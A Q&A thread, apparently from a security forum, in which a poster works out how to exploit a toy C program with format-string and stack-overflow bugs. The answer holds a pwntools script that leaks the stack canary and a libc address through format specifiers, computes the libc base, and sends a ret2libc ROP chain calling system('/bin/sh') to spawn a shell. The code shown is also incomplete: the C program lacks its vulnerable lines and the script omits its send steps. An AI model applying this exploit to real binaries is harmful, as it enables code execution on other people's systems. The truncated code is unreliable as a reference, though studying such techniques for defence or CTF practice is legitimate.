I've been trying for some time to write an exploit to a very simple program which has a format string and a buffer overflow vulnerability. This program has NX, SSP and ASLR.

#include <stdio.h>

int main(int argc, char *argv[]){
    char buff[64];
    return 0;

I successfully bypassed this 2 first one's, but I can't beat ASLR.

NOTE: Bruteforce isn't an option

My idea is to leak a libc function and subtract the offset, but I don't know how to do it with a format string vulnerability. Also, I must say that null-bytes can't be written, as input is got from the arguments.


Is this even exploitable?

If it is, how can I leak a GOT/PLT entry for calculating the libc base address?

I'm on the right track?

  • 2
    Hint: what does main return to? Commented Jan 19, 2018 at 22:50
  • returns to __libc_start_main which calls exit. Maybe if I could get the address of exit at runtime, I could subtract its offset (0x3a030) and get the libc base address. But I still don't know how to leak this address...
    – L00P3R
    Commented Jan 20, 2018 at 11:30
  • 2
    __libc_start_main is in libc, and you can read main's retaddr via format string (same way as I presume you leak the stack canary). Now you have a libc addr, subtract the offset to get the base. Commented Jan 20, 2018 at 15:24
  • Realized about this like 4 min ago, thank you anyway. I'm fixing a couple of things in my exploit, but this should work.
    – L00P3R
    Commented Jan 20, 2018 at 16:58

1 Answer 1


Thanks to Andrea, who helped me in the comments, I've been finally able to write a reliable exploit. The clue for achieving it, was to look carefully at the stack. There, I could find the address of a function __libc_start_main()+240 which I could use later for calculating the base address of libc by subtracting the offset. Here is my full exploit, I hope this helps other people to understand how to defeat ASLR, DEP and SSP :)

#!/usr/bin/env python
from pwn import *

_libc_start_main_offset = 0x0000000000020740

# GADGETS of /lib/x86-64/libc-2.23.so

POPRDI = 0x0000000000042c0d

# leak for getting stack canary and __libc_start_main
leak = "%17$p,%19$p"

# padding
padding = "A"*72

# pause for attaching with gdb for debugging purposes
# pause()

# start the process
p = process(["./vuln", leak])

# First address is the cookie
cookie = p.recvuntil(",")

# And the other the libc funtion address
_libc_start_main_address = p.recv()

# Print the cookie
log.info("Cookie: "+cookie[:len(cookie)-1])

# We parse the cookie
cookie = cookie[2:len(cookie)-1].decode("hex")[::-1]

# We parse the libc function address
_libc_start_main_address = u64(("0000" + _libc_start_main_address[2:len(_libc_start_main_address)-1]).decode("hex")[::-1])-240

# We print and calculate the libc base address
log.info("libc base address: "+hex(_libc_start_main_address-_libc_start_main_offset))
libc_base = _libc_start_main_address-_libc_start_main_offset
system = 0x0000000000045390 + libc_base

POPRDI += libc_base
binsh = libc_base + 0x18cd17

log.info("binsh is at: "+hex(binsh))

# Making the payload
payload = ""
payload += padding
payload += cookie
payload += "AAAAAAAA"
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
# Sending the exploit

# Spawning shell

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .